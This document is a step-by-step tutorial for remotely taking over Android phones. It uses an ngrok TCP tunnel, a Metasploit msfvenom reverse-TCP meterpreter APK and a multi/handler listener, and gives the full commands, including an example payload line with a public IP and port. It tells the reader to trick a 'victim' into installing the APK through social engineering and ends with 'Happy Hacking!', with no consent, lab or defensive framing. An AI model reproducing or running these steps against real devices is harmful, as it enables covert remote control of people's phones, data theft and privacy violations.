How to Gain Access to an Android Over
WAN

Android phones are very easy to break into if the victim can be Social Engineered into doing so.
If you use Kali, you may have done this but probably in your own network. This guide shows
you how to do so but over HTTP tunneling to a phone anywhere in the world.
Step 1: - Load Up Your Kali Shell
Load up your Kali Linux Shell
Step 2: - Download NGROK TCP Tunneling
It can be found here: https://ngrok.com/download. Download the correct architecture for your
device.
(This can be found by running 'uname -m')
Then unzip the file with:
unzip "/path-to-ngrok.zip"
Step 3: - Sign Up
The sign-up page can be found here: https://ngrok.com/signup. Then run the command to
activate your AUTH Token
Step 4: - Start an NGROK TCP Server and POSTGRESQL
We can do this with the following command
sudo service postgresql start
./ngrok tcp 80
This will start a TCP server on port 80
Step 5: - Make an MSF Payload
First, we need to ping the IP of the NGROK TCP site with the following command
ping 0.tcp.ngrok.io
Next, we must generate a Metasploit APK Payload with the following command
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ngrok ip> LPORT=<port displayed in
ngrok> R> (name of file).apk
The ngrok port is displayed here:
Example:
msfvenom -p android/meterpreter/reverse_tcp LHOST=52.15.183.149 LPORT= 18198 R >
nullbyte.apk
Step 6: - Start a Listener
Once the Payload is generated, we can start a listener. There should be an apk file ready for you
to send now.
We can start a listener with this command:
msfconsole
Step 7: - Configure the Listener
To start the payload listener, we must now enter these commands:
msf use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 80
exploit
Congrats! You have successfully created a payload listener!
Step 8: - Send the Payload
Now we must send the payload to the target, I have transferred the file to my android for these
purpose
We need to wait for the victim to install the file.
Step 9: - ATTACK!
Now we have access to the android device. Type:
sessions
sessions 1
We can now do many different attacks on the android phone, type
help
to see a variety of attacks to perform
Happy Hacking!
